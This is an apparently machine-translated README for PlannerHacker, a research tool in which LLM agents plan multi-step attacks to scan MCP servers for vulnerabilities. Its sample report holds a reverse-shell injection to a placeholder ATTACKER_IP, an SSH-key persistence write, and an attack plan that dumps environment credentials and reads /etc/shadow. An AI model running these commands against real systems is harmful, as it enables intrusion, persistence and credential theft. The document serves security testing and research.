MCP安全扫描器

PlannerHacker是一款增强型MCP服务器安全扫描器,利用链式思维推理发现复杂的多步骤漏洞,适用于安全研究和渗透测试。

  • by ADP-1
  • Python
  • 本地部署
  • 1 星标
  • 更新于
在 GitHub 查看 ADP-1/plannerHacker

使用说明

🛡️ PlannerHacker-MCP安全扫描器

 ____  _                            _   _            _             
|  _ \| | __ _ _ __  _ __   ___ _ _| | | | __ _  ___| | _____ _ __ 
| |_) | |/ _` | '_ \| '_ \ / _ \ '__| |_| |/ _` |/ __| |/ / _ \ '__|
|  __/| | (_| | | | | | | |  __/ |  |  _  | (_| | (__|   <  __/ |   
|_|   |_|\__,_|_| |_|_| |_|\___|_|  |_| |_|\__,_|\___|_|\_\___|_|   

模型上下文协议(MCP)服务器的高级安全扫描程序

特性 • 安装 • 用法 • 建筑 • 研究


🎯 概述

策划黑客 是一款增强型安全扫描仪 模型上下文协议(MCP) 使用的服务器 思维链推理 发现复杂的、多步骤的漏洞。基于开源构建 mcpSafetyScanner,它引入了一种创新 高级对抗代理 能够创建和执行复杂的攻击计划。

为什么选择PlannerHacker?

传统的安全扫描程序使用单次漏洞检测,缺少需要多个连续步骤的复杂攻击向量。PlannerHacker使用LLM驱动的思维链推理来:

  • 🎯 计划多步攻击 -生成协同攻击序列
  • 🔗 链接依赖关系 -参考前面步骤的输出
  • 🧠 像黑客一样思考 -模拟真实世界的攻击方法
  • 📊 生成详细报告 -包含补救步骤的全面降价报告

✨ 特性

🤖 高级代理系统

  • 策划黑客代理 -多步思维链漏洞发现
  • 黑客代理 -传统单次扫描
  • 审计代理人 -以合规为重点的安全审计
  • 主管 -协调和管理代理执行

🔍 漏洞检测

✓ Command Injection          ✓ Arbitrary File Read/Write
✓ Path Traversal             ✓ Privilege Escalation  
✓ Environment Variable Leak  ✓ SSH Key Injection
✓ Backdoor Installation      ✓ Credential Dumping

🎨 丰富的终端界面

美丽的ASCII艺术横幅、彩色输出和实时进度更新由 rich 和 pyfiglet.

📋 详细的安全报告

自动生成的报告包括:

  • 漏洞分类 具有严重性级别
  • 具体开发实例 通过命令行演示
  • 补救步骤 使用特定命令
  • 来源引用 来自安全研究

🚀 安装

先决条件

  • python 3.11+
  • npx (用于MCP服务器执行)
  • OpenAI API密钥或Azure OpenAI凭据

快速开始

# Clone the repository
git clone https://github.com/yourusername/plannerHacker.git
cd plannerHacker

# Create virtual environment
python -m venv .venv

# Activate virtual environment
# Windows:
.venv\Scripts\activate
# Linux/Mac:
source .venv/bin/activate

# Install dependencies
pip install -r requirements.txt

# Or install in development mode
pip install -e .

# Set your API key
export OPENAI_API_KEY="sk-your-key-here"

环境配置

创建 .env 文件:

# Required: Choose one LLM provider
OPENAI_API_KEY=sk-your-key-here

# Or use Azure OpenAI
AZURE_OPENAI_API_KEY=your-azure-key
AZURE_OPENAI_ENDPOINT=https://your-endpoint.openai.azure.com/

# Optional: Database for knowledge base
POSTGRES_DB=ai
POSTGRES_USER=ai
POSTGRES_PASSWORD=ai

💻 用法

基本扫描(单步黑客)

python mcpsafety/scanner/scan.py --config examples/example_config.json

高级扫描(多步PlannerHacker)

python mcpsafety/scanner/scan.py --config examples/example_config.json --planner

网络MCP服务器扫描

# Terminal 1: Start MCP server
npx -y @modelcontextprotocol/server-everything streamableHttp --port 3001

# Terminal 2: Run scanner
python mcpsafety/scanner/scan.py --port 3001

正在扫描易受攻击的测试服务器

# Scan the intentionally vulnerable server
python mcpsafety/scanner/scan.py --config VulnerableMCP/vulnerable_config.json --planner

命令行选项

python mcpsafety/scanner/scan.py --help
选项 描述 默认值
--config MCP服务器配置JSON路径 config.json
--port 基于网络的MCP服务器端口 3001
--planner 使用PlannerHacker代理(多步骤) False
--hops 最大思维链步骤 5
--output 输出报告文件路径 stdout

🏗️ 建筑

graph TB
    A[scan.py Entry Point] --> B[Configuration Loader]
    B --> C[LLM Selector]
    C --> D{Select Agent}
    D -->|Basic| E[Hacker Agent]
    D -->|Advanced| F[PlannerHacker Agent]
    D -->|Audit| G[Auditor Agent]
    E --> H[Supervisor]
    F --> H
    G --> H
    H --> I[MCP Server Interface]
    I --> J[Tool Discovery]
    J --> K[Attack Execution]
    K --> L[Multi-Agent Team<br/>Collaboration]
    L --> M[Report Generation]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style L fill:#4ecdc4,stroke:#16a085,color:#fff
    style M fill:#95e1d3,stroke:#38ada9,color:#000

组件概述

组件 文件 目的
主扫描仪 mcpsafety/scanner/scan.py 入口点、CLI、服务器管理
代理系统 mcpsafety/scanner/agents.py 黑客、策划人、审计员、主管
易受攻击的服务器 VulnerableMCP/vulnerable_mcp_server.py 测试存在故意漏洞的服务器
配置示例 examples/ MCP服务器配置示例

🧠 PlannerHacker在行动

思维链攻击计划

PlannerHacker代理生成结构化的JSON攻击计划:

{
  "plan": [
    {
      "id": 1,
      "description": "Enumerate MCP server tools and capabilities",
      "command": "List available MCP server tools",
      "expected_output": "Tool manifest with permissions",
      "depends_on": []
    },
    {
      "id": 2,
      "description": "Read environment variables for credentials",
      "command": "get_environment_variables",
      "expected_output": "Environment dump including API keys",
      "depends_on": [1]
    },
    {
      "id": 3,
      "description": "Use file_manager to read /etc/shadow",
      "command": "read_file /etc/shadow",
      "expected_output": "Hashed password data",
      "depends_on": [1, 2]
    }
  ]
}

多Agent协作

扫描仪使用 基于团队的方法 与专业代理商合作:

  1. 侦察特工 -发现工具和资源
  2. 研究代理 -查询安全数据库(DuckDuckGo、arXiv、黑客新闻)
  3. 开采代理 -生成具体的攻击示例
  4. 主管代理 -协调团队并综合调查结果

📊 示例输出

弱点报告

扫描仪识别 5个关键漏洞类别:

🔴 关键:命令注入

# Exploitation Example
list files; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Remediation
import shlex
safe_arg = shlex.quote(user_input)
subprocess.run(["ls", "-l", safe_arg], shell=False)

🔴 严重:任意文件操作

# Exploitation: SSH Key Persistence
write to file /home/user/.ssh/authorized_keys with content 'ssh-rsa AAAAB3...'

# Remediation
sudo chmod 600 /home/user/.ssh/authorized_keys
sudo chown user:user /home/user/.ssh/authorized_keys

看 output3.txt 和 output3.md 查看完整的样本报告。


🔧 配置

MCP服务器配置

示例 config.json:

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/home/user"],
      "timeout": 300000
    },
    "everything": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-everything"],
      "env": {
        "AWS_ACCESS_KEY_ID": "test-key",
        "OPENAI_API_KEY": "sk-test"
      }
    }
  }
}

支持的MCP服务器

  • ✅ 基于stdio:通过 npx 或直接执行Python
  • ✅ HTTP/SSE:自定义端口上的基于网络的服务器
  • ✅ 自定义服务器:用户定义的易受攻击服务器

看 examples/ 目录以获取更多配置。


🧪 测试

易受攻击的测试服务器

该项目包括 故意易受攻击的MCP服务器 安全测试:

# VulnerableMCP/vulnerable_mcp_server.py
DANGEROUS_TOOLS = {
    "read_file": "Unrestricted file reading",
    "write_file": "Arbitrary file writes", 
    "execute_shell_command": "Direct shell command execution",
    "get_environment_variables": "Exposes all env vars"
}

⚠️ 警告:仅在隔离环境中使用易受攻击的服务器!


📚 文档

文档 描述
SRS.md 软件需求规范
WorkFlow.md 五阶段开发工作流程
Final paper.pdf 学术研究论文

开发阶段

  1. 基础 -代码库分析和设置
  2. 创新 -PlannerHacker系统设计
  3. 实施 -对多步骤代理进行编码
  4. 评估 -实验验证
  5. 出版物 -学术论文写作

🔬 研究背景

该项目旨在 学术出版物 在人工智能安全方面:

  • 假设:多步骤思维链规划比单次扫描发现更多漏洞
  • 方法论:比较评估(Hacker与PlannerHacker)
  • 验证:使用易受攻击的测试服务器进行对照实验
  • 目标受众:安全研究人员、渗透测试人员、DevSecOps团队

关键创新

传统的安全扫描程序会错过需要多个协调步骤的复杂漏洞。PlannerHacker使用LLM驱动的思维链推理来计划和执行复杂的多跳攻击,显著提高了漏洞发现率。


🛠️ 技术栈

核心依赖关系

  • agno (1.7.7)-AI代理框架
  • mcp (1.12.3)-模型上下文协议客户端
  • openai (1.98.0)-OpenAI API集成
  • rich (14.1.0)-终端格式化
  • pyfiglet (1.0.3)-ASCII艺术横幅

安全工具

  • sqlmap -SQL注入检测
  • beautifulsoup4 -HTML/XML解析
  • validators -输入验证

数据与分析

  • pandas -数据分析
  • scikit-learn -ML实用程序
  • pgvector -矢量数据库支持

看 requirements.txt 获取完整的依赖关系列表。


🤝 贡献

我们欢迎捐款!需要改进的领域:

  • 🎯 新的攻击策略 -扩展PlannerHacker功能
  • 🧪 测试用例 -添加更多易受攻击的场景
  • 📊 报表格式 -HTML、PDF、CSV输出
  • 🌐 协议支持 -其他MCP协议变体
  • 🔍 漏洞类型 -新的检测模式

📖 参考文献


⚖️ 许可证

该项目根据 Mozilla公共许可证2.0 (MPL-2.0)。

看 LICENSE 了解详情。


⚠️ 免责声明

此工具仅用于授权的安全测试。

  • ✅ 在您拥有或拥有明确测试权限的系统上使用
  • ✅ 教育和研究目的
  • ❌ 未经授权访问系统是非法的
  • ❌ 作者对误用不承担任何责任

包含的易受攻击的服务器用于 仅限受控测试环境.


🙏 致谢

  • 基于开源构建 mcpSafetyScanner 框架
  • 由...驱动 Anthropic的模型上下文协议
  • 通过OpenAI和Google Gemini实现LLM功能
  • 受MITRE ATT&CK和OWASP启发的安全研究

由...制作❤️ PlannerHacker团队

⭐ 标记此回购 • 🐛 报告错误 • 💡 请求功能